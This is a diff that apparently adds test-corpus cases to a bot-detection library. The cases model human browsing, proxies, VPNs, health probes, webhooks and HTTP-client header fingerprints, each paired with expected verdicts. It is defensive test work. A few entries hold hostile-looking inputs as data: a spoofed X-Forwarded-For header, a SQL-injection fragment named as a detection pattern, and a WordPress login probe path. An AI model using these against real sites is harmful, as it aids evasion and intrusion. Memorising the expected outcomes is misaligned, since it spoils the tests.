+        [["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en-US"], ["Accept-Encoding", "gzip, deflate"]]
+      )
+    ],
+    expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] }
+  }),
+  human({
+    id: "playstation-browser",
+    title: "A games console browser",
+    category: "legacy-client",
+    provenance: "PlayStation 5 system browser",
+    requests: [
+      plain(
+        "Mozilla/5.0 (PlayStation; PlayStation 5/8.20) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15",
+        [["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en-GB"], ["Accept-Encoding", "gzip, deflate, br"]]
+      )
+    ],
+    expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] }
+  }),
+  // ---------------------------------------------------------------------------
+  // Normal browsing shapes. These exercise the behavioural detectors with traffic
+  // that must not trigger them.
+  // ---------------------------------------------------------------------------
+  human({
+    id: "reading-session",
+    title: "A person reading a shop at human pace",
+    category: "behaviour",
+    provenance: "Irregular gaps, repeat visits, a referer chain and a session cookie",
+    notes: "The revisits matter: a person's distinct-path ratio stays well below one, which is what separates reading from enumerating.",
+    requests: humanPaced(browser("chromeWindows", { kind: "same-origin-navigate", cookie: "sid=a1b2c3; consent=1", referer: "https://shop.example/products" }), [
+      "/",
+      "/products",
+      "/products/14",
+      "/products",
+      "/products/9",
+      "/products/14",
+      "/basket",
+      "/products",
+      "/products/9",
+      "/checkout"
+    ]),
+    expect: { verdict: "unknown", maxScore: 20, notDetectors: ["cadence", "crawl-breadth", "session-integrity"], action: "allow" }
+  }),
+  human({
+    id: "tab-restore-burst",
+    title: "Restoring twelve pinned tabs at once after a browser restart",
+    category: "behaviour",
+    provenance: "A browser reopening a session issues a dozen navigations within a second",
+    notes: "A burst that looks exactly like a flood, from one person pressing one button. It is why rate is capped at moderate and cannot deny service.",
+    requests: Array.from({ length: 12 }, (_, index) => ({
+      ...browser("chromeWindows", { cookie: "sid=restore-1" }),
+      path: `/products/${index + 1}`,
+      atMs: index * 40
+    })),
+    expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
+    tags: ["known-cost"]
+  }),
+  human({
+    id: "documentation-reader",
+    title: "A developer clicking through a documentation sidebar",
+    category: "behaviour",
+    provenance: "High distinct-path count with almost no revisits \u2014 the same shape as a crawler",
+    notes: "Genuinely indistinguishable from enumeration by path pattern alone, which is why crawl-breadth is only `weak`.",
+    requests: humanPaced(browser("firefoxWindows", { kind: "same-origin-navigate", cookie: "sid=docs-9", referer: "https://shop.example/docs" }), [
+      "/docs/intro",
+      "/docs/install",
+      "/docs/config",
+      "/docs/api/client",
+      "/docs/api/server",
+      "/docs/api/types",
+      "/docs/guides/auth",
+      "/docs/guides/deploy",
+      "/docs/faq",
+      "/docs/changelog",
+      "/docs/api/errors",
+      "/docs/api/events"
+    ]),
+    expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
+    tags: ["known-cost"]
+  }),
+  human({
+    id: "form-submission",
+    title: "Submitting a login form",
+    category: "behaviour",
+    provenance: "POST with Origin and Referer, Sec-Fetch-Site: same-origin, Sec-Fetch-Mode: navigate",
+    requests: [
+      { ...browser("chromeWindows", { kind: "same-origin-navigate", cookie: "sid=login-1", referer: "https://shop.example/login" }), method: "POST", path: "/login" }
+    ],
+    expect: { verdict: "unknown", maxScore: 0, action: ["allow", "delay"] }
+  }),
+  human({
+    id: "conditional-revalidation",
+    title: "A cache revalidation from a returning visitor",
+    category: "behaviour",
+    provenance: "Chrome adds If-None-Match and Cache-Control when revisiting a cached page",
+    requests: [withCacheValidators(browser("chromeWindows", { kind: "navigate", cookie: "sid=return-4" }))],
+    expect: { verdict: "unknown", maxScore: 0, action: "allow" }
+  }),
+  // ---------------------------------------------------------------------------
+  // People behind infrastructure that mangles their requests. The site sees the
+  // intermediary, not the person, and the person pays for it.
+  // ---------------------------------------------------------------------------
+  human({
+    id: "corporate-proxy-stripped",
+    title: "A person behind a corporate proxy that strips Sec-Fetch and Client Hints",
+    category: "mangled-by-infrastructure",
+    provenance: "Enterprise TLS-inspecting proxies routinely rebuild requests and drop headers they do not understand",
+    notes: "Two of the strongest impersonation signals fire on a real employee. Neither may deny service; both are capped below `certain` for this reason.",
+    requests: [
+      {
+        headers: [
+          ["Host", "shop.example"],
+          ["Connection", "keep-alive"],
+          ["User-Agent", userAgentOf("chromeWindows")],
+          ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"],
+          ["Accept-Encoding", "gzip, deflate"],
+          ["Accept-Language", "en-US,en;q=0.9"],
+          ["Via", "1.1 corporate-proxy.internal (squid/6.6)"],
+          ["X-Forwarded-For", "10.14.2.88"]
+        ],
+        protocol: "https",
+        httpVersion: "1.1"
+      }
+    ],
+    expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
+    tags: ["known-cost"]
+  }),
+  human({
+    id: "carrier-transcoder",
+    title: "A person on a mobile carrier that transcodes pages",
+    category: "mangled-by-infrastructure",
+    provenance: "Some carriers proxy and rewrite requests, adding their own headers and reordering the rest",
+    requests: [
+      {
+        headers: [
+          ["Host", "shop.example"],
+          ["Accept-Encoding", "gzip"],
+          ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"],
+          ["User-Agent", userAgentOf("chromeAndroid")],
+          ["Accept-Language", "en-GB,en;q=0.9"],
+          ["Via", "1.1 wtp-proxy"],
+          ["X-Forwarded-For", "100.64.12.9"]
+        ],
+        protocol: "https",
+        httpVersion: "1.1"
+      }
+    ],
+    expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
+    notes: "Accept-Encoding arrives before Accept \u2014 the same ordering python-requests produces. A person, via a carrier.",
+    tags: ["known-cost"]
+  }),
+  human({
+    id: "http2-normalised",
+    title: "A browser over HTTP/2, where header order carries no meaning",
+    category: "mangled-by-infrastructure",
+    provenance: "HTTP/2 uses HPACK and does not preserve a meaningful header order",
+    notes: "The header-order detector must stand down entirely rather than read the normalised order as a fingerprint. Note also what is *absent*: HTTP/2 forbids connection-specific headers, so a genuine h2 request has no Connection. Leaving one in while claiming h2 \u2014 which an adapter does if it reads the version from a forwarded header rather than from its own socket \u2014 manufactures a proven protocol violation for a real browser.",
+    requests: [
+      {
+        ...browser("chromeWindows"),
+        httpVersion: "2.0",
+        headers: browser("chromeWindows").headers.filter(([name]) => name.toLowerCase() !== "connection")
+      }
+    ],
+    expect: { verdict: "unknown", maxScore: 0, notDetectors: ["header-order"], action: "allow" }
+  }),
+  human({
+    id: "cgnat-shared-address",
+    title: "Many people behind one carrier-grade NAT address",
+    category: "mangled-by-infrastructure",
+    provenance: "CGNAT presents thousands of subscribers as a single address; RFC 6598 reserves 100.64.0.0/10 for it",
+    notes: "Different devices, different browsers, one address. Under an IP-based actor key this is one very busy 'actor' \u2014 which is why identity-rotation ships disabled by default.",
+    requests: [
+      { ...browser("safariIos"), ip: "100.64.3.17", atMs: 0 },
+      { ...browser("chromeAndroid"), ip: "100.64.3.17", atMs: 220 },
+      { ...browser("samsungInternet"), ip: "100.64.3.17", atMs: 480 },
+      { ...browser("safariIos"), ip: "100.64.3.17", atMs: 700 },
+      { ...browser("chromeAndroid"), ip: "100.64.3.17", atMs: 910 },
+      { ...browser("chromeWindows"), ip: "100.64.3.17", atMs: 1150 }
+    ],
+    expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
+    tags: ["known-cost"]
+  }),
+  // ---------------------------------------------------------------------------
+  // People doing the things a probe detector was built to notice.
+  //
+  // Every path-based signal has a population of real people who ask for the same
+  // thing for an ordinary reason, and these are them. Both cases are tagged
+  // `known-cost` because both do accumulate some suspicion — the point is the size of
+  // it: enough to appear in a dashboard, nowhere near enough to interrupt anybody.
+  // ---------------------------------------------------------------------------
+  human({
+    id: "wordpress-author-signing-in",
+    title: "An author signing in to their own WordPress site",
+    category: "platform-front-door",
+    provenance: "/wp-login.php is a probe on the sites that do not run WordPress and the front door on the roughly forty per cent that do",
+    notes: "`probe-signature` reports this at `moderate` and says so in its metadata, which is the honest reading: from a single request the library cannot know whether this site runs the platform. Configure the detector's `ignore` list, or the engine's `ignorePaths`, if it does \u2014 and note what the cap buys in the meantime, which is that forgetting costs a tag rather than a locked-out author.",
+    requests: [{ ...browser("chromeWindows", { kind: "same-origin-navigate", referer: "https://shop.example/" }), path: "/wp-login.php" }],
+    expect: { verdict: "unknown", maxScore: 40, action: ["allow", "tag", "log"] },
+    tags: ["known-cost"]
+  }),
+  human({
+    id: "developer-searching-for-sql-syntax",
+    title: "Someone searching a documentation site for SQL syntax",
+    category: "platform-front-door",
+    provenance: "A search box on a site whose subject is databases, with the phrase a payload detector looks for typed into it",
+    notes: "The reason the payload tiers are split by punctuation. `union select` typed into a search box is a person reading about SQL; `' union select` with the quote that makes it execute is not. Without that split, the population penalised most is the one reading documentation about the attack.",
+    requests: [{ ...browser("chromeWindows", { kind: "same-origin-navigate", referer: "https://shop.example/docs" }), path: "/search?q=union+select+examples" }],
+    // `rate-limit` is in the list because `protect-data` rate-limits search endpoints
+    // for everybody, which is a policy decision about the path rather than a judgement
+    // about this client. What the case asserts is the score.
+    expect: { verdict: "unknown", maxScore: 40, action: ["allow", "tag", "log", "rate-limit"] },
+    tags: ["known-cost"]
+  }),
+  human({
+    id: "returning-reader-revalidating",
+    title: "A returning reader whose browser still holds the page",
+    category: "ordinary-browsing",
+    provenance: "A revisit to a page the browser cached, sending the validators it was given",
+    notes: "The evidence here points the other way. A client that revalidates a cached copy has been here before and kept what it was served, which is a property of a browsing session rather than of a fetch loop \u2014 `browsing-coherence` reports it as human-pointing, and the engine discounts any suspicion the behavioural detectors raise.",
+    requests: [
+      { ...browser("chromeWindows", { kind: "navigate", cookie: "session=8f2c1b; consent=1" }), path: "/guides/shipping", atMs: 0 },
+      { ...browser("chromeWindows", { kind: "same-origin-navigate", cookie: "session=8f2c1b; consent=1", referer: "https://shop.example/guides/shipping", revalidate: { etag: 'W/"41d-19a0b2f3c11"' } }), path: "/guides/returns", atMs: 9400 }
+    ],
+    expect: { verdict: ["unknown", "human"], maxScore: 20, detectors: ["browsing-coherence"], action: ["allow", "tag", "log"] }
+  })
+];
+
+// src/corpus/infrastructure.ts
+var INFRASTRUCTURE_CASES = [
+  // ---------------------------------------------------------------------------
+  // Probes. These belong in ignorePaths.
+  // ---------------------------------------------------------------------------
+  bot({
+    id: "kubernetes-probe",
+    title: "A Kubernetes liveness probe",
+    audience: "infrastructure",
+    category: "health-probe",
+    provenance: "kubelet sends kube-probe/<version> with no Accept-Language and no cookies, on a perfect interval",
+    notes: "Machine-regular by design, from a fixed address, forever. Put the path in `ignorePaths`: letting a bot policy decide whether your orchestrator believes the pod is healthy is a way to turn a false positive into a restart loop.",
+    requests: Array.from({ length: 10 }, (_, index) => ({ ...plain("kube-probe/1.31"), path: "/healthz", atMs: index * 1e4, ip: "10.42.0.1" })),
+    expect: { neverAction: ["block", "drop", "redirect"] },
+    tags: ["allowlist-candidate"]
+  }),
+  bot({
+    id: "elb-health-checker",
+    title: "An AWS load balancer health check",
+    audience: "infrastructure",
+    category: "health-probe",
+    provenance: "ELB-HealthChecker/2.0",
+    requests: Array.from({ length: 8 }, (_, index) => ({ ...plain("ELB-HealthChecker/2.0"), path: "/healthz", atMs: index * 15e3, ip: "10.0.3.44" })),
+    expect: { neverAction: ["block", "drop", "redirect"] },
+    tags: ["allowlist-candidate"]
+  }),
+  bot({
+    id: "prometheus-blackbox",
+    title: "A Prometheus blackbox exporter probe",
+    audience: "infrastructure",
+    category: "health-probe",
+    provenance: "Blackbox exporter identifies itself and runs on a scrape interval",
+    requests: Array.from({ length: 6 }, (_, index) => ({ ...plain("Prometheus/2.54.1 blackbox_exporter/0.25.0"), path: "/metrics", atMs: index * 3e4, ip: "10.0.9.12" })),
+    expect: { neverAction: ["block", "drop", "redirect"] },
+    tags: ["allowlist-candidate"]
+  }),
+  // ---------------------------------------------------------------------------
+  // Your own software.
+  // ---------------------------------------------------------------------------
+  bot({
+    id: "first-party-mobile-app",
+    title: "Your own iOS app calling your own API",
+    audience: "infrastructure",
+    category: "first-party-client",
+    provenance: "A native app using URLSession identifies itself as the app, not as a browser",
+    notes: "Automation by every measure the library has, and a paying customer holding a phone. Nothing in a request distinguishes the two \u2014 which is what `isHuman` is for: your application knows this session is authenticated, and the library does not.",
+    requests: [
+      {
+        headers: [
+          ["Host", "api.shop.example"],
+          ["Accept", "application/json"],
+          ["Authorization", "Bearer redacted"],
+          ["User-Agent", "ShopApp/4.12.0 (com.example.shop; build:4120; iOS 18.5.0) Alamofire/5.9.1"],
+          ["Accept-Language", "en-GB;q=1.0"],
+          ["Accept-Encoding", "br;q=1.0, gzip;q=0.9, deflate;q=0.8"]
+        ],
+        path: "/v1/basket",
+        protocol: "https",
+        httpVersion: "1.1"
+      }
+    ],
+    expect: { neverAction: ["block", "drop", "redirect"] },
+    tags: ["allowlist-candidate"]
+  }),
+  bot({
+    id: "server-side-render",
+    title: "Your own renderer fetching your own API",
+    audience: "infrastructure",
+    category: "first-party-client",
+    provenance: "A Next.js server component calling an internal endpoint with undici",
+    requests: [
+      {
+        headers: [["Host", "api.shop.example"], ["Accept", "application/json"], ["User-Agent", "undici"], ["Accept-Encoding", "gzip, deflate"]],
+        path: "/v1/products",
+        protocol: "https",
+        httpVersion: "1.1",
+        ip: "10.0.5.20"
+      }
+    ],
+    expect: { neverAction: ["block", "drop", "redirect"] },
+    tags: ["allowlist-candidate"]
+  }),
+  bot({
+    id: "stripe-webhook",
+    title: "A payment webhook arriving from Stripe",
+    audience: "infrastructure",
+    category: "webhook",
+    provenance: "Stripe posts events with its own User-Agent and a signature header",
+    notes: "Blocking this loses orders silently, and the retry backoff means you find out hours later. Webhook endpoints belong in `ignorePaths` \u2014 they authenticate themselves cryptographically and have no use for bot detection.",
+    requests: [
+      {
+        headers: [
+          ["Host", "shop.example"],
+          ["Accept", "*/*; q=0.5, application/xml"],
+          ["Content-Type", "application/json; charset=utf-8"],
+          ["Stripe-Signature", "t=1756544400,v1=redacted"],
+          ["User-Agent", "Stripe/1.0 (+https://stripe.com/docs/webhooks)"]
+        ],
+        method: "POST",
+        path: "/webhooks/stripe",
+        protocol: "https",
+        httpVersion: "1.1"
+      }
+    ],
+    expect: { neverAction: ["block", "drop", "redirect"] },
+    tags: ["allowlist-candidate"]
+  }),
+  bot({
+    id: "github-webhook",
+    title: "A GitHub webhook",
+    audience: "infrastructure",
+    category: "webhook",
+    provenance: "GitHub-Hookshot/<sha>",
+    requests: [
+      {
+        headers: [["Host", "shop.example"], ["User-Agent", "GitHub-Hookshot/f1a2b3c"], ["Content-Type", "application/json"], ["X-GitHub-Event", "push"], ["Accept", "*/*"]],
+        method: "POST",
+        path: "/webhooks/github",
+        protocol: "https",
+        httpVersion: "1.1"
+      }
+    ],
+    expect: { neverAction: ["block", "drop", "redirect"] },
+    tags: ["allowlist-candidate"]
+  }),
+  // ---------------------------------------------------------------------------
+  // Browser-initiated requests that no person asked for.
+  // ---------------------------------------------------------------------------
+  human({
+    id: "speculation-rules-prefetch",
+    title: "A browser prefetching a page the person has not clicked yet",
+    category: "browser-initiated",
+    provenance: "Speculation Rules mark prefetches with Sec-Purpose: prefetch",
+    notes: "A real browser, a real person, and a request they never made \u2014 issued speculatively while they hover a link. It arrives with no Sec-Fetch-User, because no user gesture triggered it. Reading that absence as evidence would penalise the person for their browser being fast.",
+    requests: [
+      {
+        ...browser("chromeWindows", { kind: "same-origin-navigate", referer: "https://shop.example/products" }),
+        headers: [
+          ...browser("chromeWindows", { kind: "same-origin-navigate", referer: "https://shop.example/products" }).headers.filter(([name]) => name !== "Sec-Fetch-User"),
+          ["Sec-Purpose", "prefetch"],
+          ["Purpose", "prefetch"]
+        ],
+        path: "/products/88"
+      }
+    ],
+    expect: { certain: false, neverAction: ["block", "drop", "redirect"] }
+  }),
+  human({
+    id: "service-worker-fetch",
+    title: "A service worker refreshing cached content in the background",
+    category: "browser-initiated",
+    provenance: "Sec-Fetch-Dest: empty with Sec-Fetch-Mode: cors, issued with no tab in the foreground",
+    requests: [{ ...browser("chromeWindows", { kind: "xhr" }), path: "/api/catalog.json" }],
+    expect: { verdict: "unknown", maxScore: 20, neverAction: ["block", "drop", "redirect"] }
+  }),
+  // ---------------------------------------------------------------------------
+  // People arriving from address space that looks automated.
+  // ---------------------------------------------------------------------------
+  human({
+    id: "consumer-vpn-exit",
+    title: "A person browsing through a consumer VPN",
+    category: "datacenter-human",
+    provenance: "VPN exit nodes live in hosting-provider address space, which is also where scrapers live",
+    notes: "A perfect browser request from an address that any datacenter range list will flag. This is why `ip-intelligence` caps datacenter matches at `moderate`: the population using a VPN is overwhelmingly people, and disproportionately people with reasons.",
+    requests: [{ ...browser("chromeMac"), ip: "192.0.2.150" }],
+    expect: { certain: false, neverAction: ["block", "drop", "redirect"] },
+    tags: ["known-cost"]
+  }),
+  human({
+    id: "icloud-private-relay",
+    title: "A person on iCloud Private Relay",
+    category: "datacenter-human",
+    provenance: "Private Relay egresses from Apple's partner networks; the address never belongs to the subscriber",
+    requests: [{ ...browser("safariIos"), ip: "192.0.2.151" }],
+    expect: { certain: false, neverAction: ["block", "drop", "redirect"] },
+    tags: ["known-cost"]
+  }),
+  human({
+    id: "corporate-egress-shared",
+    title: "An office of two hundred people behind one address",
+    category: "datacenter-human",
+    provenance: "A single corporate egress address carrying an entire building's traffic",
+    notes: "Rate counting sees one extraordinarily busy actor. It is two hundred ordinary ones.",
+    requests: Array.from({ length: 45 }, (_, index) => ({
+      ...browser(index % 3 === 0 ? "chromeWindows" : index % 3 === 1 ? "edgeWindows" : "firefoxWindows"),
+      path: `/products/${index % 12 + 1}`,
+      ip: "192.0.2.200",
+      atMs: index * 180
+    })),
+    expect: { certain: false, neverAction: ["block", "drop", "redirect"] },
+    tags: ["known-cost"]
+  }),
+  // ---------------------------------------------------------------------------
+  // Forwarding headers. The highest-consequence configuration in the library.
+  // ---------------------------------------------------------------------------
+  bot({
+    id: "xff-spoof-attempt",
+    title: "A client prepending a fake hop to X-Forwarded-For",
+    audience: "hostile",
+    category: "forwarding",
+    provenance: "X-Forwarded-For is client-supplied; anyone can prepend an address and choose the identity they are tracked under",
+    notes: "The corpus cannot assert the resolved address directly, so this case asserts the consequence: the client's chosen address must not let it escape its own classification. A curl request stays a curl request whatever it writes in the header.",
+    requests: [
+      {
+        headers: [["Host", "shop.example"], ["User-Agent", "curl/8.11.1"], ["Accept", "*/*"], ["X-Forwarded-For", "66.249.66.1, 192.0.2.90"]],
+        ip: "192.0.2.90",
+        protocol: "https",
+        httpVersion: "1.1"
+      }
+    ],
+    expect: { verdict: "confirmed-bot", botClass: "http-client", certain: true },
+    tags: ["security"]
+  })
+];
+
+// src/corpus/reputation.ts
+var REPUTATION_CASES = [
+  bot({
+    id: "denylist-hit",
+    title: "An address the operator has denied",
+    audience: "hostile",
+    category: "address-reputation",
+    provenance: "An explicit local decision, not an inference",
+    notes: "`certain`, and the justification is about responsibility rather than technology: nothing was deduced, an instruction was carried out. It also means a bad denylist entry blocks real people with no probabilistic guard to catch it \u2014 which is the argument for reviewing the list rather than growing it.",
+    requires: ["denylist"],
+    requests: [{ ...browser("chromeWindows"), ip: "203.0.113.244" }],
+    expect: { verdict: "confirmed-bot", certain: true, detectors: ["ip-intelligence"] }
+  }),
+  bot({
+    id: "datacenter-scraper",
+    title: "A scraper from hosting-provider address space",
+    audience: "unwanted-bot",
+    category: "address-reputation",
+    provenance: "Where bulk extraction is actually run from",
+    notes: "The corroborating case: a datacenter address alongside a bare library client is a different proposition from either alone.",
+    requires: ["datacenter-ranges"],
+    requests: [{ ...plain("python-requests/2.32.3"), ip: "192.0.2.180" }],
+    expect: { verdict: "confirmed-bot", botClass: "http-client", certain: true, detectors: ["ip-intelligence", "self-identified"] }
+  }),
+  human({
+    id: "datacenter-human-with-ranges",
+    title: "A person on a VPN, with datacenter ranges configured",
+    category: "address-reputation",
+    provenance: "The same address space, a completely different client",
+    notes: "The whole reason the datacenter signal is capped at `moderate`. With ranges loaded this person now carries a bot-pointing observation on every request, and it must never be enough to deny them.",
+    requires: ["datacenter-ranges"],
+    requests: [{ ...browser("firefoxWindows"), ip: "192.0.2.190" }],
+    expect: { certain: false, detectors: ["ip-intelligence"] },
+    tags: ["known-cost"]
+  }),
+  human({
+    id: "cleared-by-proof-of-work",
+    title: "A person who already solved the challenge",
+    category: "clearance",
+    provenance: "A signed clearance cookie from a completed proof of work",
+    notes: "Only `moderate` human evidence. Proof of work demonstrates a JavaScript engine and spent CPU; it does not demonstrate a person, and treating it as though it did would be the mirror image of the mistake this library exists to avoid.",
+    clearance: "pow",
+    requests: [browser("chromeWindows")],
+    expect: { detectors: ["clearance"], neverAction: ["block", "drop", "redirect"] }
+  }),
+  human({
+    id: "cleared-by-operator",
+    title: "A signed-in customer your application vouches for",
+    category: "clearance",
+    provenance: "`grantClearance(facts, 'operator')` after a successful login",
+    notes: "The only conclusive human signal in the library, and it does not come from the request. Your application knows this session is authenticated; the library cannot see that and does not try to guess it.",
+    clearance: "operator",
+    requests: [browser("chromeWindows")],
+    expect: { verdict: "human", certain: true, detectors: ["clearance"], action: ["allow", "log", "tag"] }
+  }),
+  bot({
+    id: "cleared-but-proven-bot",
+    title: "A proven bot presenting a valid clearance token",
+    audience: "unwanted-bot",
+    category: "clearance",
+    provenance: "A headless browser solves a proof of work as readily as a laptop does",
+    notes: "Proven bot evidence outranks clearance, deliberately. This is also the shape that used to livelock: passing a challenge cannot undo a `certain` verdict, so a client that could run JavaScript was challenged, solved, reloaded and was challenged again forever. The action layer now refuses to re-issue a challenge to an actor that already holds one.",
+    clearance: "pow",
+    requests: [plain("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/152.0.0.0 Safari/537.36")],
+    // Asserted on the *outcome*, not the decision: a policy is free to decide
+    // "challenge" here, and the action layer is required to refuse to issue it.
+    expect: { verdict: "confirmed-bot", botClass: "automation", certain: true, outcome: "continue" },
+    tags: ["regression"]
+  })
+];
+
+// src/corpus/libraries-extended.ts
+function client(id, title, headers, provenance, options = {}) {
+  const request = {
+    headers: [["Host", "shop.example"], ...headers],
+    protocol: "https",
+    httpVersion: "1.1",
+    ...options.path !== void 0 ? { path: options.path } : {},
+    ...options.method !== void 0 ? { method: options.method } : {}
+  };
+  return bot({
+    id,
+    title,
+    audience: options.audience ?? "unwanted-bot",
+    category: "http-library",
+    provenance,
+    ...options.notes !== void 0 ? { notes: options.notes } : {},
+    requests: [request],
+    expect: options.automation === true ? { verdict: "confirmed-bot", botClass: "automation", certain: true } : options.suspectedOnly === true ? { verdict: "suspected-bot", botClass: "http-client", certain: false, detectors: ["self-identified"] } : options.certain === false ? { certain: false, botClass: ["http-client", "unknown"] } : {
+      verdict: "confirmed-bot",
+      botClass: options.botClass ?? "http-client",
+      certain: true,
+      ...options.identity !== void 0 ? { identity: options.identity } : {},
+      detectors: ["self-identified"]
+    }
+  });
+}
+var EXTENDED_LIBRARY_CASES = [
+  // ---- Python ----
+  client("lib-requests-session", "requests with a Session and keep-alive", [["User-Agent", "python-requests/2.32.4"], ["Accept-Encoding", "gzip, deflate, zstd"], ["Accept", "*/*"], ["Connection", "keep-alive"]], "requests 2.32 added zstd to its default Accept-Encoding", { identity: "python" }),
+  client("lib-requests-json-post", "requests posting JSON", [["User-Agent", "python-requests/2.32.4"], ["Accept-Encoding", "gzip, deflate"], ["Accept", "*/*"], ["Connection", "keep-alive"], ["Content-Type", "application/json"], ["Content-Length", "142"]], "The shape of a scripted API call", { identity: "python", method: "POST", path: "/api/v1/orders" }),
+  client("lib-httpx-async", "httpx in async mode", [["Accept", "*/*"], ["Accept-Encoding", "gzip, deflate, br, zstd"], ["Connection", "keep-alive"], ["User-Agent", "python-httpx/0.28.1"]], "httpx sorts its defaults differently from requests and sends User-Agent last", { identity: "python" }),
+  client("lib-aiohttp-client", "aiohttp", [["Accept", "*/*"], ["Accept-Encoding", "gzip, deflate"], ["User-Agent", "Python/3.13 aiohttp/3.11.11"]], "aiohttp names the interpreter version ahead of its own", { identity: "python" }),
+  client("lib-urllib3-direct", "urllib3 used directly", [["User-Agent", "python-urllib3/2.3.0"], ["Accept-Encoding", "identity"]], "urllib3 below requests sends a bare identity encoding", { identity: "python" }),
+  client("lib-python-urllib", "the standard library's urllib", [["Accept-Encoding", "identity"], ["User-Agent", "Python-urllib/3.13"], ["Connection", "close"]], "urllib emits Accept-Encoding before Host and sends no Accept at all", { identity: "python" }),
+  client("lib-scrapy-crawler", "Scrapy", [["User-Agent", "Scrapy/2.12.0 (+https://scrapy.org)"], ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en"], ["Accept-Encoding", "gzip, deflate"]], "Scrapy's default crawler headers; it names a contact URL like a polite crawler", { identity: "python" }),
+  client("lib-selenium-wire", "selenium-wire's underlying client", [["User-Agent", "python-requests/2.32.4"], ["Accept-Encoding", "gzip, deflate"], ["Accept", "*/*"], ["X-Selenium-Wire", "1"]], "Instrumented Selenium proxies leak their own headers", { identity: "python" }),
+  client("lib-mechanicalsoup", "MechanicalSoup", [["User-Agent", "python-requests/2.32.4"], ["Accept-Encoding", "gzip, deflate"], ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Connection", "keep-alive"]], "A form-filling wrapper over requests, used for scripted logins", { identity: "python" }),
+  // ---- JavaScript and TypeScript ----
+  client("lib-undici-fetch", "Node's built-in fetch", [["Accept", "*/*"], ["Accept-Language", "*"], ["Sec-Fetch-Mode", "cors"], ["User-Agent", "node"], ["Accept-Encoding", "gzip, deflate"]], "Node's global fetch is undici; it sends a bare 'node' User-Agent and an Accept-Language of *", { certain: false, notes: "Two characters of User-Agent. Undici also sends Sec-Fetch-Mode, which is unusual for a non-browser and shows that Fetch Metadata alone does not imply a browser." }),
+  client("lib-node-fetch-v3", "node-fetch v3", [["Accept", "*/*"], ["User-Agent", "node-fetch"], ["Accept-Encoding", "gzip,deflate,br"], ["Connection", "close"]], "node-fetch v3 dropped the URL from its default User-Agent", { identity: "node" }),
+  client("lib-axios-node", "axios in Node", [["Accept", "application/json, text/plain, */*"], ["User-Agent", "axios/1.8.4"], ["Accept-Encoding", "gzip, compress, deflate, br"]], "axios in Node; in a browser it cannot set User-Agent at all", { identity: "node" }),
+  client("lib-got", "got", [["User-Agent", "got (https://github.com/sindresorhus/got)"], ["Accept-Encoding", "gzip, deflate, br"]], "got names its repository in the User-Agent", { identity: "node" }),
+  client("lib-superagent", "superagent", [["User-Agent", "superagent/9.0.2"], ["Accept-Encoding", "gzip, deflate"]], "A long-lived Node client still common in older services", { identity: "node" }),
+  client("lib-puppeteer-fetch", "Puppeteer's page.goto with an overridden UA", [["User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/152.0.0.0 Safari/537.36"], ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"], ["Accept-Encoding", "gzip, deflate, br"], ["Accept-Language", "en-US"]], "Puppeteer leaves HeadlessChrome in the UA unless told otherwise", { audience: "unwanted-bot", automation: true, identity: "headless-chrome" }),
+  client("lib-deno-fetch", "Deno's fetch", [["Accept", "*/*"], ["Accept-Encoding", "gzip, br"], ["User-Agent", "Deno/2.1.9"], ["Accept-Language", "*"]], "Deno identifies its runtime and version", { identity: "node" }),
+  client("lib-bun-fetch", "Bun's fetch", [["Accept", "*/*"], ["Accept-Encoding", "gzip, deflate, br"], ["User-Agent", "Bun/1.2.4"], ["Connection", "keep-alive"]], "Bun identifies its runtime and version", { identity: "node" }),
+  // ---- JVM ----
+  client("lib-okhttp-android", "OkHttp from an Android app", [["User-Agent", "okhttp/4.12.0"], ["Connection", "Keep-Alive"], ["Accept-Encoding", "gzip"]], "The default client behind most Android apps; Connection precedes Accept-Encoding", { identity: "java" }),
+  client("lib-retrofit", "Retrofit over OkHttp", [["Accept", "application/json"], ["User-Agent", "okhttp/4.12.0"], ["Connection", "Keep-Alive"], ["Accept-Encoding", "gzip"]], "Retrofit adds an Accept and leaves OkHttp's own headers in place", { identity: "java" }),
+  client("lib-jdk-httpclient", "The JDK HttpClient", [["User-Agent", "Java-http-client/21.0.6"], ["Connection", "Upgrade, HTTP2-Settings"], ["Upgrade", "h2c"], ["HTTP2-Settings", "AAEAAEAAAAIAAAABAAMAAABkAAQBAAAAAAUAAEAA"]], "The JDK client attempts an h2c upgrade over cleartext, which browsers never do", { identity: "java" }),
+  client("lib-apache-httpclient5", "Apache HttpClient 5", [["User-Agent", "Apache-HttpClient/5.4.1 (Java/21.0.6)"], ["Accept-Encoding", "gzip, x-gzip, deflate"], ["Connection", "keep-alive"]], "Ubiquitous in JVM services; note the x-gzip alias no browser sends", { identity: "java" }),
+  client("lib-spring-webclient", "Spring WebClient over Reactor Netty", [["User-Agent", "ReactorNetty/1.2.2"], ["Accept", "application/json"], ["Accept-Encoding", "gzip"]], "The reactive stack in most modern Spring services", { certain: false }),
+  client("lib-ktor", "Ktor's client", [["Accept", "*/*"], ["Accept-Charset", "UTF-8"], ["User-Agent", "ktor-client"], ["Accept-Encoding", "gzip,deflate,identity"]], "Ktor still sends Accept-Charset, which browsers dropped over a decade ago", { identity: "java", notes: "Accept-Charset is a genuine period marker: no browser has sent it since 2014." }),
